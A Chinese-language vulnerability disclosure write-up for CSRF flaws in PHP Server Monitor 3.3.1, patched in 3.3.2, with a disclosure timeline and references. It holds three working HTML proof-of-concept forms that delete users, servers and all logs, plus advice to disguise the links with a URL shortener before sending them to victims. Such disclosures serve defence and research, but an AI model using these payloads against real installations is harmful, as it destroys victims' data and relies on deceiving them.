最近,我花了些空闲时间来审计开源软件,主要看的是一些基于web的软件。
这次我想和大家分享一些我在PHP Server Monitor 3.3.1开源软件中发现的跨站请求伪造(CSRF),希望以后能与大家分享更多。
跨站点请求伪造是一种恶意技术,通过这种技术,可以从web应用程序信任的用户那里传输未经授权的命令。
因此,如果我们让应用程序的一个用户执行我们之前准备好的payload,我们就能成功利用这个漏洞。
PHP Server Monitor 是一个用来监控服务器和网站是否正常运行的脚本,它提供了一个基于web的用户界面,用户可以在此管理用户的服务和网站,也可以使用电话和邮件地址管理每个服务器的用户。
必须说的是,CSRF漏洞是我审计过程中最后才会去看的漏洞,这个是我偶然发现的。
在第一阶段,当我为了寻找可能利用的跨站脚本攻击(XSS)而审查网页请求返回的参数时,我注意到创建用户和服务器的操作中有一个反CSRF令牌。
当我刚开始观察到它的时候,没怎么考虑这种漏洞,我一直在寻找反射的参数,但后来我看到了以下情况……
哇! ! !删除服务器的按钮操作缺少一个反csrf令牌,而且还可以通过GET请求实现。
这种错误的配置将允许攻击者生成恶意的payload,并且应该用一个URL缩短器来隐藏(谷歌缩短器或者其他类似软件)。
更新到3.3.2版本以解决这个漏洞。
接下来的图片中,屏幕被分为两个部分,左边是一个管理员用户的界面,右边是攻击者生成先前配置的恶意按钮来执行操作。
使用谷歌URL缩短器(或其他类似软件)来缩短下面的url(http://[PATH]/?&mod=user&action=delete&id=[ID]), 以便发送给受攻击方。
以下面的形式发送给被攻击人:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="user" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="[ID]" />
<input type="submit" value="Delete User" />
</form>
</body>
</html>
使用谷歌URL缩短器(或其他类似软件)来缩短下面的url(http://[PATH]/?&mod=server&action=delete&id=[ID]), 以便发送给受攻击方。
以下面的形式发送给被攻击人:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="server" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="id" value="[ID]" />
<input type="submit" value="Delete Server" />
</form>
</body>
</html>
使用谷歌URL缩短器(或其他类似软件)来缩短下面的url(http://[PATH]/?&mod=server_log&action=delete), 以便发送给受攻击方。
以下面的形式发送给被攻击人:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[PATH]/">
<input type="hidden" name="mod" value="server_log" />
<input type="hidden" name="action" value="delete" />
<input type="submit" value="Delete All Logs" />
</form>
</body>
</html>
30/10/2018 发现和报告
01/11/2018 CVE ID请求
22/11/2018 补丁
28/11/2018 公布
https://github.com/phpservermon/phpservermon/issues/670
https://hackpuntes.com/cve-2018-18921-php-server-monitor-3-3-1-cross-site-request-forgery/
https://www.exploit-db.com/exploits/45932